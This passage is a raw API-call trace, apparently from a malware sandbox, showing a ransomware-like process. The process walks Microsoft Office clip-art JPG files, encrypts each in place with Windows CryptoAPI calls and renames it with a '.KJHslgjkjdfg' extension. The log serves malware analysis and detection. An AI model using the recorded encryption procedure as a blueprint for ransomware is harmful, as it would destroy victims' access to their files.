lpNumberOfBytesWritten=0x290f270*=0x1abb0, lpOverlapped=0x0) returned 1 [0183.795] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.795] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ac84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.795] SetEndOfFile (hFile=0x114) returned 1 [0183.799] GetProcessHeap () returned 0x2a0000 [0183.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.799] GetProcessHeap () returned 0x2a0000 [0183.799] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382939.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382939.jpg.kjhslgjkjdfg")) returned 1 [0183.801] CloseHandle (hObject=0x114) returned 1 [0183.801] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1653a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382942.JPG", cAlternateFileName="")) returned 1 [0183.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.803] GetProcessHeap () returned 0x2a0000 [0183.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.804] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.804] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.804] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.806] GetProcessHeap () returned 0x2a0000 [0183.806] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.806] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.806] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.807] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.807] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.807] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.807] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.807] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.807] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.807] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1653a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1653a, lpOverlapped=0x0) returned 1 [0183.810] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16540, dwBufLen=0x16540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16540) returned 1 [0183.811] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.811] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16540, lpOverlapped=0x0) returned 1 [0183.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.812] SetEndOfFile (hFile=0x114) returned 1 [0183.815] GetProcessHeap () returned 0x2a0000 [0183.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.815] GetProcessHeap () returned 0x2a0000 [0183.815] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.815] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.kjhslgjkjdfg")) returned 1 [0183.817] CloseHandle (hObject=0x114) returned 1 [0183.817] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e1d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382944.JPG", cAlternateFileName="")) returned 1 [0183.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.818] GetProcessHeap () returned 0x2a0000 [0183.818] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.818] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.818] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.818] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x3, lpOverlapped=0x0) returned 1 [0183.820] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.820] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.820] GetProcessHeap () returned 0x2a0000 [0183.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.820] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.820] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.820] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.821] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.821] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x13e1d, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x13e1d, lpOverlapped=0x0) returned 1 [0183.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13e20, dwBufLen=0x13e20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x13e20) returned 1 [0183.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.823] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x13e20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x13e20, lpOverlapped=0x0) returned 1 [0183.824] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.824] SetEndOfFile (hFile=0x114) returned 1 [0183.827] GetProcessHeap () returned 0x2a0000 [0183.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.827] GetProcessHeap () returned 0x2a0000 [0183.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.kjhslgjkjdfg")) returned 1 [0183.828] CloseHandle (hObject=0x114) returned 1 [0183.829] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1531c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382947.JPG", cAlternateFileName="")) returned 1 [0183.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.830] GetProcessHeap () returned 0x2a0000 [0183.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.830] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.830] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.839] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.839] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.839] GetProcessHeap () returned 0x2a0000 [0183.839] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.839] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.839] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.840] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.840] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.840] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.840] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.840] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1531c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1531c, lpOverlapped=0x0) returned 1 [0183.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15320, dwBufLen=0x15320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x15320) returned 1 [0183.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.843] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x15320, lpOverlapped=0x0) returned 1 [0183.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x153f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.843] SetEndOfFile (hFile=0x114) returned 1 [0183.846] GetProcessHeap () returned 0x2a0000 [0183.846] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.846] GetProcessHeap () returned 0x2a0000 [0183.846] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.kjhslgjkjdfg")) returned 1 [0183.848] CloseHandle (hObject=0x114) returned 1 [0183.848] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ad37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382948.JPG", cAlternateFileName="")) returned 1 [0183.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.849] GetProcessHeap () returned 0x2a0000 [0183.849] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.849] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0183.851] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.851] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.851] GetProcessHeap () returned 0x2a0000 [0183.851] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.852] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.852] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.852] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.852] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.852] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ad37, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ad37, lpOverlapped=0x0) returned 1 [0183.854] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ad40, dwBufLen=0x1ad40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ad40) returned 1 [0183.855] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.855] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ad40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ad40, lpOverlapped=0x0) returned 1 [0183.856] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.856] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ae14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.856] SetEndOfFile (hFile=0x114) returned 1 [0183.859] GetProcessHeap () returned 0x2a0000 [0183.859] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.859] GetProcessHeap () returned 0x2a0000 [0183.859] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.kjhslgjkjdfg")) returned 1 [0183.860] CloseHandle (hObject=0x114) returned 1 [0183.860] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, 